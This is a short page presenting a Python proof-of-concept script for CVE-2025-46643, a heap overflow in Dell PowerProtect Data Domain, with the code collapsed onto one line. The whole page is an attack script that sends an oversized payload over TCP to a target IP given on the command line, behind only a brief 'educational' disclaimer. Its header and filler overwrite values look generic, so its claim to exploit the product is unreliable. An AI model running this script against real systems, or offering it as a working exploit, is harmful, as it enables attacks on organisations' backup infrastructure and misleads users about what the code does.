CVE-2025-46643 Dell PowerProtect Data Domain 堆缓冲区溢出漏洞

# CVE-2025-46643 PoC - Dell PowerProtect Data Domain Heap Overflow # This PoC demonstrates the heap-based buffer overflow in DD OS # Note: This is for educational and authorized testing purposes only import socket import struct import sys def create_exploit_payload(): """Generate payload to trigger heap buffer overflow""" # Target specific memory region with oversized input header = b'DD_PROTECT_CMD' # Craft oversized data to overflow heap buffer overflow_size = 8192 overflow_data = b'A' * overflow_size # Add controlled data that may overwrite adjacent heap structures controlled_data = struct.pack('<Q', 0x4141414141414141) * 4 payload = header + overflow_data + controlled_data return payload def send_exploit(target_ip, target_port=443): """Send exploit payload to vulnerable DD OS""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) payload = create_exploit_payload() sock.send(payload) print(f'[*] Exploit payload sent ({len(payload)} bytes)') response = sock.recv(1024) print(f'[*] Received response: {response[:100]}') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] print(f'[*] Target: {target}') print(f'[*] Exploiting CVE-2025-46643...') send_exploit(target)